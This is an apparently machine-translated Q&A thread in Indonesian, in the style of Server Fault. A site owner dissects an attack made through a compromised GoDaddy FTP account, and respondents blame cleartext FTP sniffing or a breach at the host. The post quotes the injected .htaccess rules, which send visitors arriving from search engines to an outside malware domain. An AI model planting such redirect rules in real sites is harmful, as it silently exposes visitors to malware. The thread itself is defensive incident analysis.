Membedah serangan situs web melalui akun FTP yang disusupi


9

Situs saya telah diretas dan pada titik ini, saya tahu beberapa detail, tetapi saya bingung persis bagaimana itu terjadi atau bagaimana mencegahnya di masa depan. Saya membutuhkan bantuan Anda dalam mencoba membedah serangan sehingga saya dapat mencegahnya terjadi lagi. Ini agak lama, tapi saya ingin memastikan saya memberikan info yang cukup untuk membantu menyelesaikan masalah.

Inilah yang terjadi.

Beberapa minggu yang lalu, saya mendapat email dari perusahaan hosting saya, GoDaddy, mengatakan bahwa situs saya menggunakan terlalu banyak sumber daya dan mereka berharap bahwa permintaan MySQL adalah penyebabnya. Permintaan yang dimaksud adalah permintaan pencarian yang memiliki 5-6 istilah di dalamnya. Cara saya mengaturnya, semakin banyak istilah yang Anda cari, semakin kompleks permintaannya. Tidak masalah. Saya memperbaikinya, tetapi pada saat yang sama, GoDaddy juga menutup sementara akun saya dan itu sekitar 3 hari sebelum semuanya kembali normal.

Setelah kejadian itu, lalu lintas mesin pencari saya menurun drastis, sekitar 90%. Menyedot, oleh saya tidak memikirkan apa-apa tentang itu, menuliskannya ke kegagalan permintaan dan mencari tahu bahwa itu akan kembali pada waktunya ketika Google menyusun ulang situs. Tidak.

Beberapa hari yang lalu, saya mendapat email dari seorang pengguna yang mengatakan bahwa situs saya menampung malware. Saya memuat situs langsung di browser saya, tetapi tidak melihat apa pun disuntikkan ke halaman. Kemudian saya memeriksa file .htaccess saya dan menemukan yang berikut:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*bing.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*excite.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC]
RewriteRule .* http://sokoloperkovuskeci.com/in.php?g=584 [R,L]
</IfModule>

Imut. Dan sedikit licik. Menavigasi langsung ke situs dari bilah alamat atau bookmark, apa yang biasanya saya lakukan, akan memuat situs seperti biasa. Jarang sekali saya pergi ke situs saya melalui tautan dari mesin pencari, jadi itu sebabnya peretasannya tidak terdeteksi selama itu. Malware juga tidak di-host langsung di situs saya.

Pencarian cepat menunjukkan bahwa orang lain juga mengalami masalah yang sama, meskipun saya curiga ada banyak lagi yang belum terdeteksi. Sebagian besar rekomendasi adalah untuk meningkatkan ke versi terbaru dari perangkat lunak, mengubah kata sandi, dll.

Menjadi seperti saya menggunakan sistem manajemen konten kustom saya sendiri dan bukan Wordpress di mana-mana, saya menggali sedikit lebih dalam. Saya memindai semua file saya untuk fungsi-fungsi umum yang digunakan dalam eksploitasi PHP: base64_decode, exec, shell, dll ... Tidak ada yang mencurigakan muncul dan tidak ada file tambahan yang hadir.

Saya selanjutnya memeriksa riwayat manajer file GoDaddy dan menemukan bahwa file .htaccess diubah pada tanggal yang sama persis seperti ketika permintaan pencarian saya dituduh menggunakan terlalu banyak sumber daya server. Ini bisa jadi kebetulan yang disayangkan, tetapi saya tidak sepenuhnya yakin. Redirect dalam file .htaccess tampaknya tidak membutuhkan banyak sumber daya dan permintaannya cukup rumit sehingga bisa menjadi sumber daya intensif.

Saya ingin memastikan bahwa kode saya bukan masalah, jadi saya memeriksa log lalu lintas untuk aktivitas mencurigakan sekitar waktu file .htaccess dimodifikasi, tetapi tidak melihat aktivitas GET atau POST yang terlihat tidak normal atau seperti upaya hack.

Akhirnya, saya meminta log FTP dari GoDaddy dan menemukan bahwa ada akses FTP yang tidak sah pada saat file .htaccess diubah. Saya sedang berlibur pada saat itu, dengan komputer saya mati secara fisik, dan tidak ada orang lain dengan kredensial akses. Sepertinya siapa pun yang menggunakan FTP untuk menggunakan pengguna FTP utama, tetapi dengan IP 91.220.0.19, yang sepertinya berasal dari Latvia .

Di hosting bersama, tampaknya GoDaddy secara otomatis memberikan nama pengguna FTP utama berdasarkan URL situs. Ini sangat mudah diprediksi, atau setidaknya, saat itulah saya mengatur akun hosting saya. Saya pertama kali mendaftar untuk akun hosting beberapa tahun yang lalu, jadi mungkin sudah berubah, tetapi dari yang saya ingat, saya tidak dapat memilih nama pengguna FTP utama. Saat ini, Anda juga tidak dapat mengubah nama pengguna dan sepertinya GoDaddy tidak dapat melakukannya, kecuali jika Anda membatalkan akun dan mengundurkan diri. Meskipun Anda dapat membuat, menghapus, dan mengedit pengguna FTP lain, pengguna FTP utama tidak dapat dihapus. Hanya kata sandi yang bisa diubah.

Dengan pengecualian nama pengguna FTP utama, semua kredensial akses untuk situs, database, admin, dan akun tersebut adalah omong kosong, nama pengguna dan kata sandi acak yang terlihat seperti kucing Anda berjalan di keyboard Anda. Mis: lkSADf32! $ AsJd3.

Saya telah memindai komputer saya untuk mencari virus, malware, dll. Seandainya itu adalah titik lemah dalam tautan, tetapi tidak ada yang muncul sama sekali. Saya menggunakan firewall, program anti-virus, dan mencoba menggunakan kebiasaan browsing yang aman.

Ketika saya memperbarui situs saya, saya menggunakan Core FTP LE dan koneksi SSH / SFTP. Akun hosting adalah pengaturan Linux.

Dalam berbicara dengan dukungan teknis GoDaddy, mereka tidak yakin bagaimana kata sandi FTP dikompromikan. Di hosting bersama, mereka tidak dapat menempatkan blok IP di tingkat pengguna FTP. Mereka juga tidak dapat mengubah nama pengguna FTP utama. Ketika saya bertanya apakah mereka memiliki perlindungan brute force di sekitar akses FTP, teknologi itu terdengar tidak yakin pada awalnya, tetapi kemudian mengatakan mereka melakukannya setelah saya mengulanginya beberapa kali. Namun, saya pikir saya ingat menanyakan pertanyaan yang sama dalam panggilan dan dengar sebelumnya bahwa GoDaddy tidak memiliki perlindungan yang kasar pada akses FTP. Pada titik ini, saya tidak tahu apakah mereka tahu atau tidak.

Saya telah mengubah semua kredensial akses saya di seluruh papan dan juga melarang alamat IP Latvia menggunakan file .htaccess (mungkin tidak akan membuat perbedaan jika mereka menggunakan FTP), tetapi saya masih tidak yakin bagaimana FTP itu kata sandi dikompromikan untuk memulai.

Saya cukup yakin bahwa masalahnya bukan pada kode saya (bahkan jika itu, info FTP seharusnya tidak diekspos) atau dengan komputer saya. Apa yang saya curigai, tetapi tidak tahu bagaimana membuktikannya, adalah bahwa kata sandi FTP bersifat kasar karena nama pengguna dapat diprediksi. Serangan brute-force juga bisa bertepatan dengan sumber daya server yang digunakan (disalahkan pada permintaan saya), tetapi saya tidak cukup tahu sisi teknis server untuk mengetahui apakah itu mungkin atau bahkan mungkin.

Sekarang saya merasa seperti berada di ujung dari apa yang saya tahu harus saya lakukan. Saya ingin dapat memahami bagaimana serangan itu dilakukan dan bagaimana mencegahnya, jadi jika Anda memiliki ide lebih lanjut tentang vektor serangan, diagnostik yang dapat dijalankan, atau langkah-langkah keamanan tambahan, saya akan sangat berterima kasih. Saya lebih dari bersedia untuk mengubah host atau parit shared hosting, tetapi saya ingin memastikan saya dapat mencegah hal ini terjadi lagi.

Bantu aku, Obi-Wan Kenobi ...

Jawaban:


8

Sesuatu terasa seperti biasa saat membaca posting Anda. Lalu saya tersadar: Saya pernah melihat ini sebelumnya, lebih dari sebulan yang lalu, ketika mencoba mengakses situs untuk permainan. Lihat di sini - perilaku yang sama, tindakan pengalihan dilakukan hanya pada pengarah mesin pencari.

Nama domain di Anda .htaccesstampak familier karena antivirus komputer rumah saya telah membuat suara keras tentang hal itu kepada saya minggu yang lalu.

Dan, tidakkah Anda tahu, host situs yang saya amati ini? Ayo ayah.

Saya tidak berpikir Anda mendapat kekerasan atau kata sandi Anda dikompromikan karena kesalahan Anda sendiri; Saya pikir GoDaddy-lah yang dikompromikan di sini. Dan saya tidak akan melewatinya untuk menyimpan kata sandi FTP dalam teks biasa. Beberapa penggalian menemukan artikel ini menunjukkan hal yang sama; perlindungan brute force mungkin yang paling sedikit dari masalah mereka.


Saya berasumsi OP mengubah kredensial FTP. Semoga mereka tidak menggunakan penyimpanan kata sandi cleartext. Itu akan menjadi - ahem - agak mengecewakan.
Evan Anderson

@Evan, periksa artikel yang ditautkan di paragraf terakhir; tampaknya mendukung teori "salahkan GoDaddy". Apa artinya itu kembali: enkripsi kata sandi mereka hanya latihan yang menarik dalam imajinasi. ;)
Shane Madden

Setelah melihat semuanya lagi, saya terhubung melalui SSH. Namun, kredensial yang harus saya gunakan adalah kredensial untuk pengguna FTP utama. Tidak ada cara untuk mengatur pengguna hanya untuk SSH tanpa itu juga berfungsi untuk FTP yang bisa saya lihat untuk shared hosting.
Dear Abby

@Dear Ketika Anda masuk melalui SSH, kredensial dienkripsi dalam perjalanan. Mereka hanya akan rentan terhirup ketika terhubung melalui protokol tidak aman seperti FTP atau HTTP.
Shane Madden

2
Terpilih jika tanpa alasan lain bahwa Anda memiliki kesabaran untuk membaca seluruh posting.
Wesley

6

Mudah! Jangan gunakan FTP. Ini mentransmisikan kredensial dalam teks biasa dan mentransmisikan semua data dalam teks biasa. Ini salah satu cara paling tidak aman untuk mentransfer file. Jika host Anda tidak mendukung cara lain, cari host baru.


+1 - Anda tidak bisa mendapatkan koneksi point-to-point langsung ke server yang dihosting. Menurut definisi, logon FTP cleartext Anda harus transit jaringan yang tidak terpercaya. Anda dimiliki karena kredensial Anda ditebang di suatu tempat di satu waktu atau lain waktu. (Faktanya, ddds bagus bahwa penyerang yang memodifikasi situs Anda bukanlah orang yang menangkap kredensial. Anda mungkin dicatat oleh sniffer yang tidak terdeteksi yang berjalan di dalam jaringan ISP dan ditambahkan ke database kredensial yang dibeli dan dijual. ..) Di Internet hari ini Anda TIDAK BISA tinggal hidup dengan otentikasi teks yang jelas. Titik.
Evan Anderson

Sebenarnya saya tidak pernah menggunakan SSH selama lebih dari setahun tanpa menggunakan FTP sekali pun. Namun, meskipun GoDaddy menyediakan cara lain untuk mentransfer file, GoDaddy tidak memungkinkan Anda untuk menghapus pengguna FTP utama. Seperti yang saya katakan, saya baik-baik saja dengan berpindah host, saya hanya ingin mencari tahu apa yang terjadi. Bagaimana seseorang mendengarkan kredensial FTP?
Dear Abby

@Sayang - Pengguna dan kata sandi FTP akan berupa teks biasa dalam paket. Setiap program yang mampu menangkap paket akan mengungkapkannya. Komentar Evan menjelaskannya dengan baik.
MDMarra

@Van - Jadi solusinya adalah: jangan pernah menggunakan FTP dan parit shared hosting? Atau bisakah Anda menggunakan SSH secara eksklusif dan masih aman dengan shared hosting?
Dear Abby

3
@Sayang - Jika sebuah host tidak dapat menonaktifkan FTP untuk situs saya, saya tidak ingin menggunakannya.
MDMarra
Dengan menggunakan situs kami, Anda mengakui telah membaca dan memahami Kebijakan Cookie dan Kebijakan Privasi kami.
Licensed under cc by-sa 3.0 with attribution required.